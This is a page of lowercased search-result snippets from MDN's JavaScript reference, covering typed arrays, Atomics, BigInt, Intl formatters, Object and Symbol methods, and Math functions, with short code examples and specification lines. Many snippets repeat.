... atomics.wait(int32, 0, 0); console.log(int32[0]); // 123 a writing thread stores a new value and notifies the waiting thread once it has written: console.log(int32[0]); // 0; atomics.store(int32, 0, 123); atomics.notify(int32, 0, 1); specifications specification ecmascript (ecma-262)the definition of 'atomics.notify' in that specification.
Atomics.wait() - JavaScript
infinity, if no time is provided.
... atomics.wait(int32, 0, 0); console.log(int32[0]); // 123 a writing thread stores a new value and notifies the waiting thread once it has written: console.log(int32[0]); // 0; atomics.store(int32, 0, 123); atomics.notify(int32, 0, 1); specifications specification ecmascript (ecma-262)the definition of 'atomics.wait' in that specification.
BigInt.prototype.toLocaleString() - JavaScript
00 € // the japanese yen doesn't use a minor unit console.log(bigint.tolocalestring('ja-jp', { style: 'currency', currency: 'jpy' })) // → ¥123,456,789,123,456,789 // limit to three significant digits console.log(bigint.tolocalestring('en-in', { maximumsignificantdigits: 3 })); // → 1,23,00,00,00,00,00,00,000 specifications specification ecmascript (ecma-262)the definition of 'bigint.prototype.tolocalestring()' in that specification.
... ecmascript internationalization api (ecma-402)the definition of 'bigint.prototype.tolocalestring()' in that specification.
BigInt64Array() constructor - JavaScript
the contents are initialized to 0n.
...y([21n, 31n]); var y = new bigint64array(x); console.log(y[0]); // 21n // from an arraybuffer var buffer = new arraybuffer(32); var z = new bigint64array(buffer, 0, 4); // from an iterable var iterable = function*(){ yield* [1n, 2n, 3n]; }(); var bigint64 = new bigint64array(iterable); // bigint64array[1n, 2n, 3n] specifications specification ecmascript (ecma-262)the definition of 'bigint64array' in that specification.
BigInt64Array - JavaScript
the contents are initialized to 0n.
...y([21n, 31n]); var y = new bigint64array(x); console.log(y[0]); // 21n // from an arraybuffer var buffer = new arraybuffer(32); var z = new bigint64array(buffer, 0, 4); // from an iterable var iterable = function*(){ yield* [1n, 2n, 3n]; }(); var bigint64 = new bigint64array(iterable); // bigint64array[1n, 2n, 3n] specifications specification ecmascript (ecma-262)the definition of 'bigint64array' in that specification.
BigUint64Array() constructor - JavaScript
the contents are initialized to 0n.
...n, 31n]); var y = new biguint64array(x); console.log(y[0]); // 21n // from an arraybuffer var buffer = new arraybuffer(32); var z = new biguint64array(buffer, 0, 4); // from an iterable var iterable = function*(){ yield* [1n, 2n, 3n]; }(); var biguint64 = new biguint64array(iterable); // biguint64array[1n, 2n, 3n] specifications specification ecmascript (ecma-262)the definition of 'biguint64array' in that specification.
BigUint64Array - JavaScript
the contents are initialized to 0n.
...n, 31n]); var y = new biguint64array(x); console.log(y[0]); // 21n // from an arraybuffer var buffer = new arraybuffer(32); var z = new biguint64array(buffer, 0, 4); // from an iterable var iterable = function*(){ yield* [1n, 2n, 3n]; }(); var biguint64 = new biguint64array(iterable); // biguint64array[1n, 2n, 3n] specifications specification ecmascript (ecma-262)the definition of 'biguint64array' in that specification.
Boolean() constructor - JavaScript
syntax new boolean([value]) parameters value optional the initial value of the boolean object.
... examples creating boolean objects with an initial value of false var bnoparam = new boolean(); var bzero = new boolean(0); var bnull = new boolean(null); var bemptystring = new boolean(''); var bfalse = new boolean(false); creating boolean objects with an initial value of true var btrue = new boolean(true); var btruestring = new boolean('true'); var bfalsestring = new boolean('false'); var bsulin = new boolean('su lin'); var barrayproto = new boolean([]); var bobjproto = new boolean({}); specifications specification ecmascript (ecma-262)the definition of 'boolean constructor' in that specification.
Date.prototype.toLocaleDateString() - JavaScript
dezember 2012" // an application may want to use utc and make that visible options.timezone = 'utc'; options.timezonename = 'short'; console.log(date.tolocaledatestring('en-us', options)); // → "thursday, december 20, 2012, gmt" specifications specification ecmascript (ecma-262)the definition of 'date.prototype.tolocaledatestring' in that specification.
... ecmascript internationalization api (ecma-402)the definition of 'date.prototype.tolocaledatestring' in that specification.
Date.prototype.toLocaleString() - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'date.prototype.tolocalestring' in that specification.
... ecmascript internationalization api (ecma-402)the definition of 'date.prototype.tolocalestring' in that specification.
Date.prototype.toLocaleTimeString() - JavaScript
// sometimes even the us needs 24-hour time console.log(date.tolocaletimestring('en-us', { hour12: false })); // → "19:00:00" // show only hours and minutes, use options with the default locale - use an empty array console.log(date.tolocaletimestring([], { hour: '2-digit', minute: '2-digit' })); // → "20:01" specifications specification ecmascript (ecma-262)the definition of 'date.prototype.tolocaletimestring' in that specification.
... ecmascript internationalization api (ecma-402)the definition of 'date.prototype.tolocaletimestring' in that specification.
Error.prototype.name - JavaScript
the initial value is "error".
... examples throwing a custom error var e = new error('malformed input'); // e.name is 'error' e.name = 'parseerror'; throw e; // e.tostring() would return 'parseerror: malformed input' specifications specification ecmascript (ecma-262)the definition of 'error.prototype.name' in that specification.
Float32Array() constructor - JavaScript
the contents are initialized to 0.
... new float32array([21, 31]); var y = new float32array(x); console.log(y[0]); // 21 // from an arraybuffer var buffer = new arraybuffer(16); var z = new float32array(buffer, 0, 4); // from an iterable var iterable = function*(){ yield* [1,2,3]; }(); var float32 = new float32array(iterable); // float32array[1, 2, 3] specifications specification ecmascript (ecma-262)the definition of 'typedarray constructors' in that specification.
Float32Array - JavaScript
the contents are initialized to 0.
... x = new float32array([21, 31]); var y = new float32array(x); console.log(y[0]); // 21 // from an arraybuffer var buffer = new arraybuffer(16); var z = new float32array(buffer, 0, 4); // from an iterable var iterable = function*(){ yield* [1,2,3]; }(); var float32 = new float32array(iterable); // float32array[1, 2, 3] specifications specification ecmascript (ecma-262)the definition of 'typedarray constructors' in that specification.
Float64Array() constructor - JavaScript
the contents are initialized to 0.
... new float64array([21, 31]); var y = new float64array(x); console.log(y[0]); // 21 // from an arraybuffer var buffer = new arraybuffer(32); var z = new float64array(buffer, 0, 4); // from an iterable var iterable = function*(){ yield* [1,2,3]; }(); var float64 = new float64array(iterable); // float64array[1, 2, 3] specifications specification ecmascript (ecma-262)the definition of 'typedarray constructors' in that specification.
Float64Array - JavaScript
the contents are initialized to 0.
... x = new float64array([21, 31]); var y = new float64array(x); console.log(y[0]); // 21 // from an arraybuffer var buffer = new arraybuffer(32); var z = new float64array(buffer, 0, 4); // from an iterable var iterable = function*(){ yield* [1,2,3]; }(); var float64 = new float64array(iterable); // float64array[1, 2, 3] specifications specification ecmascript (ecma-262)the definition of 'typedarray constructors' in that specification.
Function() constructor - JavaScript
functionbody a string containing the javascript statements comprising the function definition.
... specifications specification ecmascript (ecma-262)the definition of 'function constructor' in that specification.
Function.prototype.call() - JavaScript
product initializes the properties name and price, both specialized functions define the category.
... 'use strict'; var sdata = 'wisen'; function display() { console.log('sdata value is %s ', this.sdata); } display.call(); // cannot read the property of 'sdata' of undefined specifications specification ecmascript (ecma-262)the definition of 'function.prototype.call' in that specification.
Generator.prototype.next() - JavaScript
note that the first call does not log anything, because the generator was not yielding anything initially.
... function* gen() { while (true) { let value = yield null; console.log(value); } } const g = gen(); g.next(1); // "{ value: null, done: false }" g.next(2); // 2 // "{ value: null, done: false }" specifications specification ecmascript (ecma-262)the definition of 'generator.prototype.next' in that specification.
Generator - JavaScript
examples an infinite iterator function* infinite() { let index = 0; while (true) { yield index++; } } const generator = infinite(); // "generator { }" console.log(generator.next().value); // 0 console.log(generator.next().value); // 1 console.log(generator.next().value); // 2 // ...
... specifications specification ecmascript (ecma-262)the definition of 'generator objects' in that specification.
GeneratorFunction - JavaScript
functionbody a string containing the javascript statements comprising the function definition.
... examples creating a generator function from a generatorfunction() constructor var generatorfunction = object.getprototypeof(function*(){}).constructor var g = new generatorfunction('a', 'yield a * 2'); var iterator = g(10); console.log(iterator.next().value); // 20 specifications specification ecmascript (ecma-262)the definition of 'generatorfunction' in that specification.
Int16Array() constructor - JavaScript
the contents are initialized to 0.
...ypedarray var x = new int16array([21, 31]); var y = new int16array(x); console.log(y[0]); // 21 // from an arraybuffer var buffer = new arraybuffer(8); var z = new int16array(buffer, 0, 4); // from an iterable var iterable = function*(){ yield* [1,2,3]; }(); var int16 = new int16array(iterable); // int16array[1, 2, 3] specifications specification ecmascript (ecma-262)the definition of 'typedarray constructors' in that specification.
Int16Array - JavaScript
the contents are initialized to 0.
...ypedarray var x = new int16array([21, 31]); var y = new int16array(x); console.log(y[0]); // 21 // from an arraybuffer var buffer = new arraybuffer(8); var z = new int16array(buffer, 0, 4); // from an iterable var iterable = function*(){ yield* [1,2,3]; }(); var int16 = new int16array(iterable); // int16array[1, 2, 3] specifications specification ecmascript (ecma-262)the definition of 'typedarray constructors' in that specification.
Int32Array() constructor - JavaScript
the contents are initialized to 0.
...pedarray var x = new int32array([21, 31]); var y = new int32array(x); console.log(y[0]); // 21 // from an arraybuffer var buffer = new arraybuffer(16); var z = new int32array(buffer, 0, 4); // from an iterable var iterable = function*(){ yield* [1,2,3]; }(); var int32 = new int32array(iterable); // int32array[1, 2, 3] specifications specification ecmascript (ecma-262)the definition of 'typedarray constructors' in that specification.
Int32Array - JavaScript
the contents are initialized to 0.
...pedarray var x = new int32array([21, 31]); var y = new int32array(x); console.log(y[0]); // 21 // from an arraybuffer var buffer = new arraybuffer(16); var z = new int32array(buffer, 0, 4); // from an iterable var iterable = function*(){ yield* [1,2,3]; }(); var int32 = new int32array(iterable); // int32array[1, 2, 3] specifications specification ecmascript (ecma-262)the definition of 'typedarray constructors' in that specification.
Int8Array() constructor - JavaScript
the contents are initialized to 0.
...ther typedarray var x = new int8array([21, 31]); var y = new int8array(x); console.log(y[0]); // 21 // from an arraybuffer var buffer = new arraybuffer(8); var z = new int8array(buffer, 1, 4); // from an iterable var iterable = function*(){ yield* [1,2,3]; }(); var int8 = new int8array(iterable); // int8array[1, 2, 3] specifications specification ecmascript (ecma-262)the definition of 'typedarray constructors' in that specification.
Int8Array - JavaScript
the contents are initialized to 0.
...ther typedarray var x = new int8array([21, 31]); var y = new int8array(x); console.log(y[0]); // 21 // from an arraybuffer var buffer = new arraybuffer(8); var z = new int8array(buffer, 1, 4); // from an iterable var iterable = function*(){ yield* [1,2,3]; }(); var int8 = new int8array(iterable); // int8array[1, 2, 3] specifications specification ecmascript (ecma-262)the definition of 'typedarray constructors' in that specification.
Intl.Collator - JavaScript
intl.collator.prototype.resolvedoptions() returns a new object with properties reflecting the locale and collation options computed during initialization of the object.
...ment: // in german, ä has a as the base letter console.log(new intl.collator('de', { sensitivity: 'base' }).compare('ä', 'a')); // → 0 // in swedish, ä and a are separate base letters console.log(new intl.collator('sv', { sensitivity: 'base' }).compare('ä', 'a')); // → a positive value specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.collator' in that specification.
Intl.DateTimeFormat - JavaScript
intl.datetimeformat.prototype.resolvedoptions() returns a new object with properties reflecting the locale and formatting options computed during initialization of the object.
...ew intl.datetimeformat('default', options); var usedoptions = dateformat.resolvedoptions(); console.log(usedoptions.calendar); // → "chinese" console.log(usedoptions.numberingsystem); // → "arab" console.log(usedoptions.timezone); // → "america/new_york" (the users default timezone) specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.datetimeformat' in that specification.
Intl.DisplayNames - JavaScript
intl.displaynames.prototype.resolvedoptions() returns a new object with properties reflecting the locale and formatting options computed during initialization of the object.
...names.of('cny'); // "chinese yuan" // get display names of currency code in traditional chinese currencynames = new intl.displaynames(['zh-hant'], {type: 'currency'}); currencynames.of('usd'); // "美元" currencynames.of('eur'); // "歐元" currencynames.of('twd'); // "新台幣" currencynames.of('cny'); // "人民幣" specifications specification intl.displaynamesthe definition of 'displaynames' in that specification.
Intl.Locale.prototype.collation - JavaScript
) phonebk phonebook style ordering (such as in german) phonetic phonetic ordering (sorting based on pronunciation) pinyin pinyin ordering for latin and for cjk characters (used in chinese) reformed reformed ordering (such as in swedish) search special collation type for string search searchjl special collation type for korean initial consonant search standard default ordering for each language stroke pinyin ordering for latin, stroke order for cjk characters (used in chinese) trad traditional style ordering (such as in spanish) unihan pinyin ordering for latin, unihan radical-stroke ordering for cjk characters (used in chinese) zhuyin pinyin ordering for lati...
...thus, the collation type can be added to the inital locale identifier string that is passed into the locale constructor.
Intl.NumberFormat.prototype.formatToParts() - JavaScript
infinity the infinity string ("∞").
... console.log(numberstring); // "3.500,00 <strong>€</strong>" specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.numberformat.prototype.formattoparts' in that specification.
Intl.NumberFormat - JavaScript
intl.numberformat.prototype.resolvedoptions() returns a new object with properties reflecting the locale and collation options computed during initialization of the object.
...); // → 1,23,000 using style and unit console.log(new intl.numberformat("pt-pt", { style: 'unit', unit: "mile-per-hour" }).format(50)); // → 50 mi/h console.log((16).tolocalestring('en-gb', { style: "unit", unit: "liter", unitdisplay: "long" })); // → 16 litres specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.numberformat' in that specification.
Intl.PluralRules - JavaScript
instance methods intl.pluralrules.prototype.resolvedoptions() returns a new object with properties reflecting the locale and collation options computed during initialization of the object.
...different plural rules new intl.pluralrules('ar-eg').select(0); // → 'zero' new intl.pluralrules('ar-eg').select(1); // → 'one' new intl.pluralrules('ar-eg').select(2); // → 'two' new intl.pluralrules('ar-eg').select(6); // → 'few' new intl.pluralrules('ar-eg').select(18); // → 'many' specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.pluralrules' in that specification.
Intl.RelativeTimeFormat - JavaScript
intl.relativetimeformat.prototype.resolvedoptions() returns a new object with properties reflecting the locale and formatting options computed during initialization of the object.
...rtf.formattoparts(-1, "day"); // > [{ type: "literal", value: "yesterday"}] rtf.formattoparts(100, "day"); // > [{ type: "literal", value: "in " }, // > { type: "integer", value: "100", unit: "day" }, // > { type: "literal", value: " days" }] specifications specification status comment ecmascript internationalization api (ecma-402)the definition of 'relativetimeformat' in that specification.
JSON - JavaScript
nan and infinity are unsupported.
... examples example json { "browsers": { "firefox": { "name": "firefox", "pref_url": "about:config", "releases": { "1": { "release_date": "2004-11-09", "status": "retired", "engine": "gecko", "engine_version": "1.7" } } } } } specifications specification ecmascript (ecma-262)the definition of 'json' in that specification.
Map.prototype[@@iterator]() - JavaScript
the initial value of the @@iterator property is the same function object as the initial value of the entries method.
...@iterator]() with for..of const mymap = new map() mymap.set('0', 'foo') mymap.set(1, 'bar') mymap.set({}, 'baz') for (const entry of mymap) { console.log(entry) } // ["0", "foo"] // [1, "bar"] // [{}, "baz"] for (const [key, value] of mymap) { console.log(`${key}: ${value}`) } // 0: foo // 1: bar // [object]: baz specifications specification ecmascript (ecma-262)the definition of 'map.prototype[@@iterator]()' in that specification.
Map.prototype[@@toStringTag] - JavaScript
the map[@@tostringtag] property has an initial value of "map".
... property attributes of map.prototype[@@tostringtag] writable no enumerable no configurable yes syntax map[symbol.tostringtag] examples using tostringtag object.prototype.tostring.call(new map()) // "[object map]" specifications specification ecmascript (ecma-262)the definition of 'map.prototype[@@tostringtag]' in that specification.
Map.prototype.delete() - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'map.prototype.delete' in that specification.
... ecmascript 2015 (6th edition, ecma-262)the definition of 'map.prototype.delete' in that specification.
Math.atan() - JavaScript
examples using math.atan() math.atan(1); // 0.7853981633974483 math.atan(0); // 0 math.atan(-0); // -0 math.atan(infinity); // 1.5707963267948966 math.atan(-infinity); // -1.5707963267948966 // the angle that the line [(0,0);(x,y)] forms with the x-axis in a cartesian coordinate system math.atan(y / x); note that you may want to avoid using ±infinity for stylistic reasons.
... specifications specification ecmascript (ecma-262)the definition of 'math.atan' in that specification.
Math.atanh() - JavaScript
polyfill for |x|<1\left|x\right| < 1, we have artanh(x)=12ln(1+x1-x)\operatorname {artanh} (x) = \frac{1}{2}\ln \left( \frac{1 + x}{1 - x} \right) so this can be emulated by the following function: math.atanh = math.atanh || function(x) { return math.log((1+x)/(1-x)) / 2; }; examples using math.atanh() math.atanh(-2); // nan math.atanh(-1); // -infinity math.atanh(0); // 0 math.atanh(0.5); // 0.5493061443340548 math.atanh(1); // infinity math.atanh(2); // nan for values greater than 1 or less than -1, nan is returned.
... specifications specification ecmascript (ecma-262)the definition of 'math.atanh' in that specification.
Math.log1p() - JavaScript
polyfill this can be emulated with the following function: math.log1p = math.log1p || function(x) { x = number(x); if (x < -1 || x !== x) return nan; if (x === 0 || x === infinity) return x; var nearx = (x + 1) - 1; return nearx === 0 ?
... x : x * (math.log(x + 1) / nearx); }; examples using math.log1p() math.log1p(1); // 0.6931471805599453 math.log1p(0); // 0 math.log1p(-1); // -infinity math.log1p(-2); // nan specifications specification ecmascript (ecma-262)the definition of 'math.log1p' in that specification.
Math.max() - JavaScript
-infinity is the initial comparant because almost every other value is bigger, that's why when no arguments are given, -infinity is returned.
... specifications specification ecmascript (ecma-262)the definition of 'math.max' in that specification.
Math.random() - JavaScript
the implementation selects the initial seed to the random number generation algorithm; it cannot be chosen or reset by the user.
... function getrandomintinclusive(min, max) { min = math.ceil(min); max = math.floor(max); return math.floor(math.random() * (max - min + 1) + min); //the maximum is inclusive and the minimum is inclusive } specifications specification ecmascript (ecma-262)the definition of 'math.random' in that specification.
Math.random() - JavaScript
the implementation selects the initial seed to the random number generation algorithm; it cannot be chosen or reset by the user.
... function getrandomintinclusive(min, max) { min = math.ceil(min); max = math.floor(max); return math.floor(math.random() * (max - min + 1) + min); //the maximum is inclusive and the minimum is inclusive } specifications specification ecmascript (ecma-262)the definition of 'math.random' in that specification.
Number.MAX_VALUE - JavaScript
values larger than max_value are represented as infinity.
... if (num1 * num2 <= number.max_value) { func1(); } else { func2(); } specifications specification ecmascript (ecma-262)the definition of 'number.max_value' in that specification.
Number.prototype.toLocaleString() - JavaScript
ions for number formatting var num = 30000.65; console.log(num.tolocalestring(undefined, {minimumfractiondigits: 2, maximumfractiondigits: 2})); // → "30,000.65" where english is the default language, or // → "30.000,65" where german is the default language, or // → "30 000,65" where french is the default language specifications specification ecmascript (ecma-262)the definition of 'number.prototype.tolocalestring' in that specification.
... ecmascript internationalization api (ecma-402)the definition of 'number.prototype.tolocalestring' in that specification.
Object.prototype.__defineGetter__() - JavaScript
this feature is deprecated in favor of defining getters using the object initializer syntax or the object.defineproperty() api.
...5; }); console.log(o.gimmefive); // 5 standard-compliant ways // using the get operator var o = { get gimmefive() { return 5; } }; console.log(o.gimmefive); // 5 // using object.defineproperty var o = {}; object.defineproperty(o, 'gimmefive', { get: function() { return 5; } }); console.log(o.gimmefive); // 5 specifications specification ecmascript (ecma-262)the definition of 'object.prototype.__definegetter__()' in that specification.
Object.prototype.__defineSetter__() - JavaScript
this feature is deprecated in favor of defining setters using the object initializer syntax or the object.defineproperty() api.
...value = val; } }; o.value = 5; console.log(o.value); // undefined console.log(o.anothervalue); // 5 // using object.defineproperty var o = {}; object.defineproperty(o, 'value', { set: function(val) { this.anothervalue = val; } }); o.value = 5; console.log(o.value); // undefined console.log(o.anothervalue); // 5 specifications specification ecmascript (ecma-262)the definition of 'object.prototype.__definesetter__()' in that specification.
Object.assign() - JavaScript
for copying property definitions (including their enumerability) into prototypes, use object.getownpropertydescriptor() and object.defineproperty() instead.
... let descriptor = object.getownpropertydescriptor(source, sym); if (descriptor.enumerable) { descriptors[sym] = descriptor; } }); object.defineproperties(target, descriptors); }); return target; } copy = completeassign({}, obj); console.log(copy); // { foo:1, get bar() { return 2 } } specifications specification ecmascript (ecma-262)the definition of 'object.assign' in that specification.
Object.create() - JavaScript
urn 10; }, set: function(value) { console.log('setting `o.bar` to', value); } /* with es2015 accessors our code can look like this get() { return 10; }, set(value) { console.log('setting `o.bar` to', value); } */ } }); function constructor() {} o = new constructor(); // is equivalent to: o = object.create(constructor.prototype); // of course, if there is actual initialization code // in the constructor function, // the object.create() cannot reflect it // create a new object whose prototype is a new, empty // object and add a single property 'p', with value 42.
... o) { console.log(prop); } // 'q' delete o.p; // false // to specify an es3 property o2 = object.create({}, { p: { value: 42, writable: true, enumerable: true, configurable: true } }); /* is not equivalent to: this will create an object with prototype : {p: 42 } o2 = object.create({p: 42}) */ specifications specification ecmascript (ecma-262)the definition of 'object.create' in that specification.
Object.defineProperties() - JavaScript
polyfill assuming a pristine execution environment with all names and properties referring to their initial values, object.defineproperties is almost completely equivalent (note the comment in iscallable) to the following reimplementation in javascript: function defineproperties(obj, properties) { function converttodescriptor(desc) { function hasproperty(obj, prop) { return object.prototype.hasownproperty.call(obj, prop); } function iscallable(v) { // nb: modify as necess...
...}); specifications specification ecmascript (ecma-262)the definition of 'object.defineproperties' in that specification.
Object.freeze() - JavaScript
> object.freeze(1) typeerror: 1 is not an object // es5 code > object.freeze(1) 1 // es2015 code an arraybufferview with elements will cause a typeerror, as they are views over memory and will definitely cause other possible issues: > object.freeze(new uint8array(0)) // no elements uint8array [] > object.freeze(new uint8array(1)) // has elements typeerror: cannot freeze array buffer views with elements > object.freeze(new dataview(new arraybuffer(32))) // no elements dataview {} > object.freeze(new float64array(new arraybuffer(64), 63, 0)) // no elements float64array [] > object.freeze(ne...
...ames) { let value = object[name]; if(value && typeof value === "object") { deepfreeze(value); } } return object.freeze(object); } var obj2 = { internal: { a: null } }; deepfreeze(obj2); obj2.internal.a = 'anothervalue'; // fails silently in non-strict mode obj2.internal.a; // null specifications specification ecmascript (ecma-262)the definition of 'object.freeze' in that specification.
Object.getOwnPropertySymbols() - JavaScript
as all objects have no own symbol properties initially, object.getownpropertysymbols() returns an empty array unless you have set symbol properties on your object.
...bols var obj = {}; var a = symbol('a'); var b = symbol.for('b'); obj[a] = 'localsymbol'; obj[b] = 'globalsymbol'; var objectsymbols = object.getownpropertysymbols(obj); console.log(objectsymbols.length); // 2 console.log(objectsymbols); // [symbol(a), symbol(b)] console.log(objectsymbols[0]); // symbol(a) specifications specification ecmascript (ecma-262)the definition of 'object.getownpropertysymbols' in that specification.
Object.isSealed() - JavaScript
var sealed = {}; object.seal(sealed); object.issealed(sealed); // === true // a sealed object is, by definition, non-extensible.
... object.issealed(1); // typeerror: 1 is not an object (es5 code) object.issealed(1); // true (es2015 code) specifications specification ecmascript (ecma-262)the definition of 'object.issealed' in that specification.
Reflect.construct() - JavaScript
return value a new instance of target (or newtarget, if present), initialized by target as a constructor with the given argumentslist.
...} let obj3 = object.create(otherclass.prototype); oneclass.apply(obj3, args) // output: // oneclass // undefined examples using reflect.construct() let d = reflect.construct(date, [1776, 6, 4]) d instanceof date // true d.getfullyear() // 1776 specifications specification ecmascript (ecma-262)the definition of 'reflect.construct' in that specification.
Reflect.defineProperty() - JavaScript
examples using reflect.defineproperty() let obj = {} reflect.defineproperty(obj, 'x', {value: 7}) // true obj.x // 7 checking if property definition has been successful with object.defineproperty, which returns an object if successful, or throws a typeerror otherwise, you would use a try...catch block to catch any error that occurred while defining a property.
... ] because reflect.defineproperty returns a boolean success status, you can just use an if...else block here: if (reflect.defineproperty(target, property, attributes)) { // success } else { // failure } specifications specification ecmascript (ecma-262)the definition of 'reflect.defineproperty' in that specification.
Set.prototype[@@iterator]() - JavaScript
the initial value of the @@iterator property is the same function object as the initial value of the values property.
...onst setiter = myset[symbol.iterator](); console.log(setiter.next().value); // "0" console.log(setiter.next().value); // 1 console.log(setiter.next().value); // object using [@@iterator]() with for..of const myset = new set(); myset.add('0'); myset.add(1); myset.add({}); for (const v of myset) { console.log(v); } specifications specification ecmascript (ecma-262)the definition of 'set.prototype[@@iterator]' in that specification.
SharedArrayBuffer() constructor - JavaScript
its contents are initialized to 0.
... var sab = sharedarraybuffer(1024); // typeerror: calling a builtin sharedarraybuffer constructor // without new is forbidden var sab = new sharedarraybuffer(1024); specifications specification ecmascript (ecma-262)the definition of 'sharedarraybuffer constructor' in that specification.
String.prototype.lastIndexOf() - JavaScript
the default value is +infinity.
...string.indexof('w')); // logs 8 console.log('the index of the first w from the end is ' + anystring.lastindexof('w')); // logs 10 console.log('the index of "new" from the beginning is ' + anystring.indexof('new')); // logs 6 console.log('the index of "new" from the end is ' + anystring.lastindexof('new')); // logs 6 specifications specification ecmascript (ecma-262)the definition of 'string.prototype.lastindexof' in that specification.
String.prototype.localeCompare() - JavaScript
tivity: 'base' })); // a positive value numeric sorting // by default, "2" > "10" console.log("2".localecompare("10")); // 1 // numeric using options: console.log("2".localecompare("10", undefined, {numeric: true})); // -1 // numeric using locales tag: console.log("2".localecompare("10", "en-u-kn-true")); // -1 specifications specification ecmascript (ecma-262)the definition of 'string.prototype.localecompare' in that specification.
... ecmascript internationalization api (ecma-402)the definition of 'string.prototype.localecompare' in that specification.
String.prototype.normalize() - JavaScript
examples using normalize() // initial string // u+1e9b: latin small letter long s with dot above // u+0323: combining dot below let str = '\u1e9b\u0323'; // canonically-composed form (nfc) // u+1e9b: latin small letter long s with dot above // u+0323: combining dot below str.normalize('nfc'); // '\u1e9b\u0323' str.normalize(); // same as above // canonically-decomposed form (nfd) // u+017f: latin small letter long s //...
...u0323\u0307' // compatibly-composed (nfkc) // u+1e69: latin small letter s with dot below and dot above str.normalize('nfkc'); // '\u1e69' // compatibly-decomposed (nfkd) // u+0073: latin small letter s // u+0323: combining dot below // u+0307: combining dot above str.normalize('nfkd'); // '\u0073\u0323\u0307' specifications specification ecmascript (ecma-262)the definition of 'string.prototype.normalize' in that specification.
String.prototype.substring() - JavaScript
// replaces olds with news in the string fulls function replacestring(olds, news, fulls) { for (let i = 0; i < fulls.length; ++i) { if (fulls.substring(i, i + olds.length) == olds) { fulls = fulls.substring(0, i) + news + fulls.substring(i + olds.length, fulls.length) } } return fulls } replacestring('world', 'web', 'brave new world') note that this can result in an infinite loop if olds is itself a substring of news — for example, if you attempted to replace 'world' with 'otherworld' here.
... specifications specification ecmascript (ecma-262)the definition of 'string.prototype.substring' in that specification.
String.prototype.toLocaleLowerCase() - JavaScript
examples using tolocalelowercase() 'alphabet'.tolocalelowercase(); // 'alphabet' '\u0130'.tolocalelowercase('tr') === 'i'; // true '\u0130'.tolocalelowercase('en-us') === 'i'; // false let locales = ['tr', 'tr', 'tr-tr', 'tr-u-co-search', 'tr-x-turkish']; '\u0130'.tolocalelowercase(locales) === 'i'; // true specifications specification ecmascript (ecma-262)the definition of 'string.prototype.tolocalelowercase' in that specification.
... ecmascript internationalization api (ecma-402)the definition of 'string.prototype.tolocalelowercase' in that specification.
String.prototype.toLocaleUpperCase() - JavaScript
percase().tolocalelowercase() examples using tolocaleuppercase() 'alphabet'.tolocaleuppercase(); // 'alphabet' 'gesäß'.tolocaleuppercase(); // 'gesÄss' 'i\u0307'.tolocaleuppercase('lt-lt'); // 'i' let locales = ['lt', 'lt', 'lt-lt', 'lt-u-co-phonebk', 'lt-x-lietuva']; 'i\u0307'.tolocaleuppercase(locales); // 'i' specifications specification ecmascript (ecma-262)the definition of 'string.prototype.tolocaleuppercase' in that specification.
... ecmascript internationalization api (ecma-402)the definition of 'string.prototype.tolocaleuppercase' in that specification.
Symbol() constructor - JavaScript
it may be used as the value of an extends clause of a class definition but a super call to it will cause an exception.
... if you really want to create a symbol wrapper object, you can use the object() function: let sym = symbol('foo'); let symobj = object(sym); typeof sym // => "symbol" typeof symobj // => "object" specifications specification ecmascript (ecma-262)the definition of 'symbol constructor' in that specification.
Symbol.for() - JavaScript
global symbol registry the global symbol registry is a list with the following record structure and it is initialized empty: a record in the global symbol registry field name value [[key]] a string key used to identify a symbol.
...ymbol('bar'); // false // the key is also used as the description var sym = symbol.for('mario'); sym.tostring(); // "symbol(mario)" to avoid name clashes with your global symbol keys and other (library code) global symbols, it might be a good idea to prefix your symbols: symbol.for('mdn.foo'); symbol.for('mdn.bar'); specifications specification ecmascript (ecma-262)the definition of 'symbol.for' in that specification.
Symbol - JavaScript
note that every object is initialized with no own symbol properties, so that this array will be empty unless you've set symbol properties on the object.
... symbol wrapper objects as property keys when a symbol wrapper object is used as a property key, this object will be coerced to its wrapped symbol: let sym = symbol('foo') let obj = {[sym]: 1} obj[sym] // 1 obj[object(sym)] // still 1 specifications specification ecmascript (ecma-262)the definition of 'symbol' in that specification.
TypedArray.prototype[@@iterator]() - JavaScript
the initial value of the @@iterator property is the same function object as the initial value of the values property.
...) { console.log(n); } alternative iteration var arr = new uint8array([10, 20, 30, 40, 50]); var earr = arr[symbol.iterator](); console.log(earr.next().value); // 10 console.log(earr.next().value); // 20 console.log(earr.next().value); // 30 console.log(earr.next().value); // 40 console.log(earr.next().value); // 50 specifications specification ecmascript (ecma-262)the definition of '%typedarray%.prototype[@@iterator]()' in that specification.
Uint16Array() constructor - JavaScript
the contents are initialized to 0.
...ray var x = new uint16array([21, 31]); var y = new uint16array(x); console.log(y[0]); // 21 // from an arraybuffer var buffer = new arraybuffer(8); var z = new uint16array(buffer, 0, 4); // from an iterable var iterable = function*(){ yield* [1,2,3]; }(); var uint16 = new uint16array(iterable); // uint16array[1, 2, 3] specifications specification ecmascript (ecma-262)the definition of 'typedarray constructors' in that specification.
Uint16Array - JavaScript
the contents are initialized to 0.
...ray var x = new uint16array([21, 31]); var y = new uint16array(x); console.log(y[0]); // 21 // from an arraybuffer var buffer = new arraybuffer(8); var z = new uint16array(buffer, 0, 4); // from an iterable var iterable = function*(){ yield* [1,2,3]; }(); var uint16 = new uint16array(iterable); // uint16array[1, 2, 3] specifications specification ecmascript (ecma-262)the definition of 'typedarray constructors' in that specification.
Uint32Array() constructor - JavaScript
the contents are initialized to 0.
...ay var x = new uint32array([21, 31]); var y = new uint32array(x); console.log(y[0]); // 21 // from an arraybuffer var buffer = new arraybuffer(16); var z = new uint32array(buffer, 0, 4); // from an iterable var iterable = function*(){ yield* [1,2,3]; }(); var uint32 = new uint32array(iterable); // uint32array[1, 2, 3] specifications specification ecmascript (ecma-262)the definition of 'typedarray constructors' in that specification.
Uint32Array - JavaScript
the contents are initialized to 0.
